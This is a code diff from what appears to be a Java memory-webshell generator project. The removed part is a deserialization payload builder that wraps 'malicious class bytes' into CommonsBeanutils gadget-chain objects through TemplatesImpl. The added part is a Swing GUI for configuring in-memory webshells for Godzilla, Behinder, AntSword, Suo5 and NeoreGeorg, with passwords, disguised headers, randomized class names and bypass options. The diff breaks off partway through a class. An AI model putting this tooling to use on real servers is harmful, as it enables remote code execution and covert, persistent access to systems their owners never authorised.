common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java

@@ -1,76 +0,0 @@
-package com.reajason.javaweb.buddy;
-
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.asm.AsmVisitorWrapper;
-import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.jar.asm.MethodVisitor;
-import net.bytebuddy.jar.asm.Opcodes;
-
-import java.nio.file.Files;
-import java.nio.file.Paths;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-public class MethodSubstitutionExample {
-
-
-    public static class MethodReplacementMethodVisitor extends MethodVisitor {
-        private final String targetClassName;
-
-        public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
-            super(Opcodes.ASM9, mv);
-            this.targetClassName = targetClassName;
-        }
-
-        @Override
-        public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
-            if (opcode == Opcodes.INVOKESTATIC
-                    && owner.endsWith("ExternalClass")
-                    && name.equals("replacementMethod")) {
-                super.visitMethodInsn(Opcodes.INVOKESTATIC,
-                        targetClassName.replace(".", "/"),
-                        name,
-                        descriptor,
-                        false);
-            } else {
-                super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
-            }
-        }
-    }
-
-    public static class ExternalClass {
-        public static String externalMethod(String input) {
-            return "External: " + input;
-        }
-
-        public static String replacementMethod(String input) {
-            return "Replaced: " + input;
-        }
-    }
-
-    public static class TargetClass {
-        public String targetMethod(String input) {
-            System.out.println("targetMethod");
-            return ExternalClass.replacementMethod(input);
-        }
-
-        public static String replacementMethod(String input) {
-            return "Replaced: " + input;
-        }
-    }
-
-    public static void main(String[] args) throws Exception {
-        String oldClassName = TargetClass.class.getName();
-        String newClassName = oldClassName + "Redefinition";
-
-        DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
-                .redefine(TargetClass.class)
-                .name(newClassName)
-                .visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
-                .make();
-
-        Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
-        Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
-                .getLoaded();
-    }
-}

deserialize/build.gradle

@@ -1,49 +0,0 @@
-plugins {
-    id "io.freefair.lombok" version "8.11"
-}
-
-group = 'com.reajason.javaweb'
-version = rootProject.version
-
-dependencies {
-    implementation 'net.bytebuddy:byte-buddy'
-
-    implementation 'commons-beanutils:commons-beanutils:1.9.3'
-
-    testImplementation platform('org.junit:junit-bom')
-    testImplementation 'org.junit.jupiter:junit-jupiter'
-}
-
-
-def runtimeJvmArgs = [
-        '--add-opens=java.base/java.lang=ALL-UNNAMED',
-        '--add-opens=java.base/java.util=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
-tasks.withType(Test).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-java {
-    toolchain {
-        languageVersion = JavaLanguageVersion.of(11)
-    }
-}
-
-test {
-    useJUnitPlatform()
-}

deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java

@@ -1,12 +0,0 @@
-package com.reajason.javaweb.deserialize;
-
-import lombok.Data;
-
-/**
- * @author ReaJason
- * @since 2024/12/13
- */
-@Data
-public class DeserializeConfig {
-    private PayloadType payloadType;
-}

deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeGenerator.java

@@ -1,25 +0,0 @@
-package com.reajason.javaweb.deserialize;
-
-import lombok.SneakyThrows;
-
-import java.io.ByteArrayOutputStream;
-import java.io.ObjectOutputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/13
- */
-public class DeserializeGenerator {
-
-    @SneakyThrows
-    public static byte[] generate(byte[] bytes, DeserializeConfig config) {
-        PayloadType payloadType = config.getPayloadType();
-        Object obj = payloadType.getPayload().generate(bytes);
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        ObjectOutputStream oos = new ObjectOutputStream(baos);
-        oos.writeObject(obj);
-        oos.flush();
-        oos.close();
-        return baos.toByteArray();
-    }
-}

deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java

@@ -1,15 +0,0 @@
-package com.reajason.javaweb.deserialize;
-
-/**
- * @author ReaJason
- * @since 2024/12/13
- */
-public interface Payload {
-    /**
-     * 将恶意类字节流封装成序列化对象
-     *
-     * @param bytes 恶意类字节流
-     * @return 序列化对象
-     */
-    Object generate(byte[] bytes);
-}

deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java

@@ -1,36 +0,0 @@
-package com.reajason.javaweb.deserialize;
-
-import com.reajason.javaweb.deserialize.payload.*;
-import lombok.Getter;
-
-/**
- * @author ReaJason
- * @since 2024/12/13
- */
-@Getter
-public enum PayloadType {
-    /**
-     * CB 链
-     */
-    CommonsBeanutils16(new CommonsBeanutils16()),
-    CommonsBeanutils18(new CommonsBeanutils18()),
-    CommonsBeanutils19(new CommonsBeanutils19()),
-    CommonsBeanutils110(new CommonsBeanutils110()),
-
-    ;
-
-    private final Payload payload;
-
-    PayloadType(Payload payload) {
-        this.payload = payload;
-    }
-
-    public static PayloadType getPayloadType(String payloadType) {
-        for (PayloadType value : values()) {
-            if (value.name().equals(payloadType)) {
-                return value;
-            }
-        }
-        throw new IllegalArgumentException("unknown payload type: " + payloadType);
-    }
-}

deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

@@ -1,52 +0,0 @@
-package com.reajason.javaweb.deserialize;
-
-import com.reajason.javaweb.deserialize.utils.Reflections;
-import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
-import lombok.SneakyThrows;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-/**
- * @author ReaJason
- * @since 2024/12/9
- */
-public class TemplateUtils {
-    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
-    public static Class TPL_CLASS = TemplatesImpl.class;
-    public static Class ABST_TRANSLET = AbstractTranslet.class;
-    public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
-
-    static {
-        try {
-            // 兼容不同 JDK 版本
-            if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
-                TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
-                ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
-                TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
-            }
-        } catch (Exception ignored) {
-        }
-    }
-
-    @SneakyThrows
-    public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
-        TemplatesImpl templates = new TemplatesImpl();
-        byte[] fooBytes = new byte[0];
-        try (DynamicType.Unloaded<Object> make = new ByteBuddy()
-                .subclass(Object.class).name("foo")
-                .make()) {
-            fooBytes = make.getBytes();
-        }
-
-        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
-                bytes, fooBytes
-        });
-
-        Reflections.setFieldValue(templates, "_transletIndex", 0);
-        Reflections.setFieldValue(templates, "_name", "SimpleJava");
-        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
-        return templates;
-    }
-}

desktop/java-swing-gui/build.gradle.kts

@@ -0,0 +1,33 @@
+plugins {
+    id("java")
+    id("application")
+}
+
+group = "com.reajason.javaweb"
+version = rootProject.version
+
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(8)
+    }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
+}
+
+dependencies {
+    implementation(project(":generator"))
+    implementation(project(":packer"))
+    implementation("com.formdev:flatlaf:3.7")
+    implementation("com.miglayout:miglayout-swing:5.3")
+
+    testImplementation(libs.junit.jupiter)
+    testRuntimeOnly(libs.junit.platform.launcher)
+}
+
+application {
+    mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
+}
+
+tasks.test {
+    useJUnitPlatform()
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/MemShellDesktopApplication.java

@@ -0,0 +1,13 @@
+package com.reajason.javaweb.desktop.memshell;
+
+import com.formdev.flatlaf.FlatLightLaf;
+import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
+
+import javax.swing.*;
+
+public class MemShellDesktopApplication {
+    public static void main(String[] args) {
+        FlatLightLaf.setup();
+        SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/controller/MemShellFormController.java

@@ -0,0 +1,331 @@
+package com.reajason.javaweb.desktop.memshell.controller;
+
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
+import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
+import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
+import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
+import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
+import com.reajason.javaweb.memshell.ShellTool;
+
+import java.util.*;
+
+public class MemShellFormController {
+    private final ConfigCatalogService configCatalogService;
+    private final MemShellValidator validator;
+    private final ConfigCatalogService.ConfigCatalog catalog;
+    private final MemShellFormState state = new MemShellFormState();
+
+    public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
+        this.configCatalogService = configCatalogService;
+        this.validator = validator;
+        this.catalog = configCatalogService.load();
+        reconcileAfterServerChange(true);
+        reconcilePackerSelection();
+    }
+
+    public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
+    public MemShellFormState getState() { return state; }
+    public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
+    public MemShellValidator getValidator() { return validator; }
+
+    public List<String> getServers() {
+        return new ArrayList<>(catalog.getServers().keySet());
+    }
+
+    public List<String> getServerVersionOptions() {
+        return configCatalogService.getServerVersionOptions(state.getServer());
+    }
+
+    public List<String> getShellTools() {
+        Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
+        if (toolMap == null) return Collections.emptyList();
+        LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
+        tools.add(ShellTool.Custom);
+        return new ArrayList<>(tools);
+    }
+
+    public List<String> getCustomShellTypes() {
+        List<String> values = catalog.getServers().get(state.getServer());
+        return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
+    }
+
+    public List<String> getShellTypesForCurrentTool() {
+        Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
+        if (toolMap == null) return Collections.emptyList();
+        if (ShellTool.Custom.equals(state.getShellTool())) {
+            return getCustomShellTypes();
+        }
+        List<String> values = toolMap.get(state.getShellTool());
+        return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
+    }
+
+    public List<PackerEntryModel> getFilteredPackers() {
+        List<PackerEntryModel> out = new ArrayList<>();
+        for (PackerCategoryModel c : catalog.getPackers()) {
+            for (PackerEntryModel p : c.getPackers()) {
+                if (p.isCategoryAnchor()) continue;
+                String name = p.getName();
+                String shellType = state.getShellType();
+                String server = state.getServer();
+                if (shellType != null && shellType.startsWith("Agent")) {
+                    if (name.startsWith("Agent")) out.add(p);
+                    continue;
+                }
+                if (server != null && server.startsWith("XXL")) {
+                    if (!name.startsWith("Agent")) out.add(p);
+                    continue;
+                }
+                if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
+                    out.add(p);
+                }
+            }
+        }
+        return out;
+    }
+
+    public PackerEntryModel getSelectedPackerEntry() {
+        String selected = state.getPackingMethod();
+        if (selected == null || selected.trim().isEmpty()) return null;
+        for (PackerCategoryModel c : catalog.getPackers()) {
+            for (PackerEntryModel p : c.getPackers()) {
+                if (selected.equals(p.getName())) return p;
+            }
+        }
+        return null;
+    }
+
+    public List<PackerSchemaFieldModel> getSelectedPackerFields() {
+        PackerEntryModel p = getSelectedPackerEntry();
+        return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
+    }
+
+    public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
+    public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
+
+    public void setServer(String server) {
+        state.setServer(server);
+        reconcileAfterServerChange(false);
+        reconcilePackerSelection();
+    }
+
+    public void setServerVersion(String version) { state.setServerVersion(version); }
+
+    public void setTargetJdkVersion(String value) {
+        state.setTargetJdkVersion(value);
+        try {
+            state.setByPassJavaModule(Integer.parseInt(value) >= 53);
+        } catch (Exception ignored) {
+        }
+    }
+
+    public void setShellTool(String tool) {
+        handleShellToolChange(tool);
+        reconcilePackerSelection();
+    }
+
+    public void setShellType(String shellType) {
+        state.setShellType(shellType);
+        state.setUrlPattern("");
+        reconcilePackerSelection();
+    }
+
+    public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
+    public void setDebug(boolean value) { state.setDebug(value); }
+    public void setProbe(boolean value) { state.setProbe(value); }
+    public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
+    public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
+    public void setShrink(boolean value) { state.setShrink(value); }
+    public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
+
+    public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
+    public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
+    public void setBehinderPass(String v) { state.setBehinderPass(v); }
+    public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
+    public void setCommandParamName(String v) { state.setCommandParamName(v); }
+    public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
+    public void setHeaderName(String v) { state.setHeaderName(v); }
+    public void setHeaderValue(String v) { state.setHeaderValue(v); }
+    public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
+    public void setEncryptor(String v) { state.setEncryptor(v); }
+    public void setImplementationClass(String v) { state.setImplementationClass(v); }
+
+    public void setShellClassName(String v) {
+        state.setShellClassName(v);
+        autoDisableRandomIfManualNames();
+    }
+
+    public void setInjectorClassName(String v) {
+        state.setInjectorClassName(v);
+        autoDisableRandomIfManualNames();
+    }
+
+    public void setRandomClassName(boolean checked) {
+        state.setRandomClassName(checked);
+        if (checked) {
+            state.setSavedShellClassName(state.getShellClassName());
+            state.setSavedInjectorClassName(state.getInjectorClassName());
+            state.setShellClassName("");
+            state.setInjectorClassName("");
+        } else {
+            state.setShellClassName(state.getSavedShellClassName());
+            state.setInjectorClassName(state.getSavedInjectorClassName());
+        }
+    }
+
+    public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
+
+    public void setPacker(String packerName) {
+        state.setPackingMethod(packerName);
+        resetPackerCustomConfigToDefaults();
+    }
+
+    public void setPackerCustomField(String key, Object value) {
+        if (value == null) {
+            state.getPackerCustomConfig().remove(key);
+        } else {
+            state.getPackerCustomConfig().put(key, value);
+        }
+    }
+
+    public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
+
+    public boolean isUrlPatternVisible() {
+        return validator.needsUrlPattern(state.getShellType());
+    }
+
+    public boolean isCommandHeaderVisible() {
+        return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
+    }
+
+    public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
+
+    public boolean isCommandParamVisible() {
+        return state.getShellType() == null || !state.getShellType().contains("WebSocket");
+    }
+
+    public MemShellValidator.Result validate() { return validator.validate(state); }
+
+    private void reconcileAfterServerChange(boolean initial) {
+        List<String> serverVersions = getServerVersionOptions();
+        if (!serverVersions.contains(state.getServerVersion())) {
+            state.setServerVersion(serverVersions.get(0));
+        }
+        Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
+        if (toolMap == null || toolMap.isEmpty()) {
+            return;
+        }
+        List<String> toolKeys = new ArrayList<>(toolMap.keySet());
+        String currentTool = state.getShellTool();
+        String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
+        state.setShellTool(nextTool);
+
+        String currentTargetJdk = state.getTargetJdkVersion();
+        int currentJdk = parseInt(currentTargetJdk, 50);
+        boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
+        state.setTargetJdkVersion(raise ? "52" : "50");
+        state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
+        if (!initial) {
+            state.setUrlPattern("");
+        }
+
+        if (!serverVersions.contains(state.getServerVersion())) {
+            state.setServerVersion(serverVersions.get(0));
+        }
+        ensureShellTypeValidForCurrentTool();
+    }
+
+    private void ensureShellTypeValidForCurrentTool() {
+        List<String> shellTypes = getShellTypesForCurrentTool();
+        if (shellTypes.isEmpty()) {
+            state.setShellType("");
+            return;
+        }
+        if (!shellTypes.contains(state.getShellType())) {
+            state.setShellType(shellTypes.get(0));
+        }
+    }
+
+    private void handleShellToolChange(String value) {
+        if (value == null || value.trim().isEmpty()) return;
+
+        state.setUrlPattern("");
+        state.setShellClassName("");
+        state.setInjectorClassName("");
+
+        if (ShellTool.Command.equals(value)) {
+            state.setCommandParamName("");
+            state.setImplementationClass("");
+            state.setEncryptor("");
+        } else if (ShellTool.Godzilla.equals(value)) {
+            state.setGodzillaKey("");
+            state.setGodzillaPass("");
+            state.setHeaderName("User-Agent");
+            state.setHeaderValue("");
+        } else if (ShellTool.Behinder.equals(value)) {
+            state.setBehinderPass("");
+            state.setHeaderName("User-Agent");
+            state.setHeaderValue("");
+        } else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
+            state.setHeaderName("User-Agent");
+            state.setHeaderValue("");
+        } else if (ShellTool.AntSword.equals(value)) {
+            state.setAntSwordPass("");
+            state.setHeaderName("User-Agent");
+            state.setHeaderValue("");
+        } else if (ShellTool.NeoreGeorg.equals(value)) {
+            state.setHeaderName("Referer");
+            state.setHeaderValue("");
+        } else if (ShellTool.Custom.equals(value)) {
+            state.setShellClassBase64("");
+        } else if (ShellTool.Proxy.equals(value)) {
+            state.setHeaderName("User-Agent");
+            state.setHeaderValue("");
+        }
+
+        state.setShellTool(value);
+        ensureShellTypeValidForCurrentTool();
+    }
+
+    private void reconcilePackerSelection() {
+        List<PackerEntryModel> filtered = getFilteredPackers();
+        if (filtered.isEmpty()) {
+            state.setPackingMethod("");
+            state.getPackerCustomConfig().clear();
+            return;
+        }
+        boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
+        if (!exists) {
+            state.setPackingMethod(filtered.get(0).getName());
+            resetPackerCustomConfigToDefaults();
+        } else if (state.getPackerCustomConfig().isEmpty()) {
+            resetPackerCustomConfigToDefaults();
+        }
+    }
+
+    private void resetPackerCustomConfigToDefaults() {
+        state.getPackerCustomConfig().clear();
+        PackerEntryModel selected = getSelectedPackerEntry();
+        if (selected != null) {
+            state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
+        }
+    }
+
+    private void autoDisableRandomIfManualNames() {
+        if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
+            state.setRandomClassName(false);
+        }
+        if (!state.isRandomClassName()) {
+            state.setSavedShellClassName(state.getShellClassName());
+            state.setSavedInjectorClassName(state.getInjectorClassName());
+        }
+    }
+
+    private int parseInt(String v, int d) {
+        try {
+            return Integer.parseInt(v);
+        } catch (Exception e) {
+            return d;
+        }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/model/DesktopMemShellGenerateResult.java

@@ -0,0 +1,25 @@
+package com.reajason.javaweb.desktop.memshell.model;
+
+import com.reajason.javaweb.memshell.MemShellResult;
+
+public class DesktopMemShellGenerateResult {
+    private final MemShellResult memShellResult;
+    private final String packMethod;
+    private final String packResult;
+    private final boolean jarOutput;
+    private final boolean agentOutput;
+
+    public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
+        this.memShellResult = memShellResult;
+        this.packMethod = packMethod;
+        this.packResult = packResult;
+        this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
+        this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
+    }
+
+    public MemShellResult getMemShellResult() { return memShellResult; }
+    public String getPackMethod() { return packMethod; }
+    public String getPackResult() { return packResult; }
+    public boolean isJarOutput() { return jarOutput; }
+    public boolean isAgentOutput() { return agentOutput; }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/model/MemShellFormState.java

@@ -0,0 +1,145 @@
+package com.reajason.javaweb.desktop.memshell.model;
+
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+public class MemShellFormState {
+    private String server = "Tomcat";
+    private String serverVersion = "Unknown";
+    private String targetJdkVersion = "50";
+    private boolean debug;
+    private boolean byPassJavaModule;
+    private boolean probe;
+    private boolean lambdaSuffix;
+    private boolean shrink = true;
+    private boolean staticInitialize = true;
+
+    private String shellTool = "Godzilla";
+    private String shellType = "Listener";
+    private String urlPattern = "/*";
+
+    private String shellClassName = "";
+    private String injectorClassName = "";
+
+    private String godzillaPass = "";
+    private String godzillaKey = "";
+    private String behinderPass = "";
+    private String antSwordPass = "";
+    private String commandParamName = "";
+    private String commandTemplate = "";
+    private String headerName = "User-Agent";
+    private String headerValue = "";
+    private String shellClassBase64 = "";
+    private String encryptor = "";
+    private String implementationClass = "";
+
+    private String packingMethod = "";
+    private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
+
+    private boolean randomClassName = true;
+    private String customInputMode = "base64";
+
+    private String savedShellClassName = "";
+    private String savedInjectorClassName = "";
+
+    public MemShellFormState copy() {
+        MemShellFormState c = new MemShellFormState();
+        c.server = server;
+        c.serverVersion = serverVersion;
+        c.targetJdkVersion = targetJdkVersion;
+        c.debug = debug;
+        c.byPassJavaModule = byPassJavaModule;
+        c.probe = probe;
+        c.lambdaSuffix = lambdaSuffix;
+        c.shrink = shrink;
+        c.staticInitialize = staticInitialize;
+        c.shellTool = shellTool;
+        c.shellType = shellType;
+        c.urlPattern = urlPattern;
+        c.shellClassName = shellClassName;
+        c.injectorClassName = injectorClassName;
+        c.godzillaPass = godzillaPass;
+        c.godzillaKey = godzillaKey;
+        c.behinderPass = behinderPass;
+        c.antSwordPass = antSwordPass;
+        c.commandParamName = commandParamName;
+        c.commandTemplate = commandTemplate;
+        c.headerName = headerName;
+        c.headerValue = headerValue;
+        c.shellClassBase64 = shellClassBase64;
+        c.encryptor = encryptor;
+        c.implementationClass = implementationClass;
+        c.packingMethod = packingMethod;
+        c.packerCustomConfig.putAll(packerCustomConfig);
+        c.randomClassName = randomClassName;
+        c.customInputMode = customInputMode;
+        c.savedShellClassName = savedShellClassName;
+        c.savedInjectorClassName = savedInjectorClassName;
+        return c;
+    }
+
+    public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
+
+    public String getServer() { return server; }
+    public void setServer(String server) { this.server = server; }
+    public String getServerVersion() { return serverVersion; }
+    public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
+    public String getTargetJdkVersion() { return targetJdkVersion; }
+    public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
+    public boolean isDebug() { return debug; }
+    public void setDebug(boolean debug) { this.debug = debug; }
+    public boolean isByPassJavaModule() { return byPassJavaModule; }
+    public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
+    public boolean isProbe() { return probe; }
+    public void setProbe(boolean probe) { this.probe = probe; }
+    public boolean isLambdaSuffix() { return lambdaSuffix; }
+    public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
+    public boolean isShrink() { return shrink; }
+    public void setShrink(boolean shrink) { this.shrink = shrink; }
+    public boolean isStaticInitialize() { return staticInitialize; }
+    public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
+    public String getShellTool() { return shellTool; }
+    public void setShellTool(String shellTool) { this.shellTool = shellTool; }
+    public String getShellType() { return shellType; }
+    public void setShellType(String shellType) { this.shellType = shellType; }
+    public String getUrlPattern() { return urlPattern; }
+    public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
+    public String getShellClassName() { return shellClassName; }
+    public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
+    public String getInjectorClassName() { return injectorClassName; }
+    public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
+    public String getGodzillaPass() { return godzillaPass; }
+    public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
+    public String getGodzillaKey() { return godzillaKey; }
+    public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
+    public String getBehinderPass() { return behinderPass; }
+    public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
+    public String getAntSwordPass() { return antSwordPass; }
+    public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
+    public String getCommandParamName() { return commandParamName; }
+    public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
+    public String getCommandTemplate() { return commandTemplate; }
+    public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
+    public String getHeaderName() { return headerName; }
+    public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
+    public String getHeaderValue() { return headerValue; }
+    public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
+    public String getShellClassBase64() { return shellClassBase64; }
+    public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
+    public String getEncryptor() { return encryptor; }
+    public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
+    public String getImplementationClass() { return implementationClass; }
+    public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
+    public String getPackingMethod() { return packingMethod; }
+    public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
+    public boolean isRandomClassName() { return randomClassName; }
+    public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
+    public String getCustomInputMode() { return customInputMode; }
+    public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
+    public String getSavedShellClassName() { return savedShellClassName; }
+    public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
+    public String getSavedInjectorClassName() { return savedInjectorClassName; }
+    public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
+
+    private static String nv(String v) { return v == null ? "" : v; }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/model/PackerCategoryModel.java

@@ -0,0 +1,15 @@
+package com.reajason.javaweb.desktop.memshell.model;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PackerCategoryModel {
+    private String name;
+    private final List<PackerEntryModel> packers = new ArrayList<>();
+
+    public PackerCategoryModel() {}
+    public PackerCategoryModel(String name) { this.name = name; }
+    public String getName() { return name; }
+    public void setName(String name) { this.name = name; }
+    public List<PackerEntryModel> getPackers() { return packers; }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/model/PackerEntryModel.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.desktop.memshell.model;
+
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+public class PackerEntryModel {
+    private String categoryName;
+    private String name;
+    private String outputKind;
+    private boolean categoryAnchor;
+    private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
+    private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
+
+    public String getCategoryName() { return categoryName; }
+    public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
+    public String getName() { return name; }
+    public void setName(String name) { this.name = name; }
+    public String getOutputKind() { return outputKind; }
+    public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
+    public boolean isCategoryAnchor() { return categoryAnchor; }
+    public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
+    public List<PackerSchemaFieldModel> getFields() { return fields; }
+    public Map<String, Object> getDefaultConfig() { return defaultConfig; }
+
+    public String displayLabel() {
+        return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/model/PackerSchemaFieldModel.java

@@ -0,0 +1,43 @@
+package com.reajason.javaweb.desktop.memshell.model;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PackerSchemaFieldModel {
+    public static class Option {
+        private String value;
+        private String label;
+
+        public Option() {}
+        public Option(String value, String label) {
+            this.value = value;
+            this.label = label;
+        }
+        public String getValue() { return value; }
+        public void setValue(String value) { this.value = value; }
+        public String getLabel() { return label; }
+        public void setLabel(String label) { this.label = label; }
+    }
+
+    private String key;
+    private String type;
+    private boolean required;
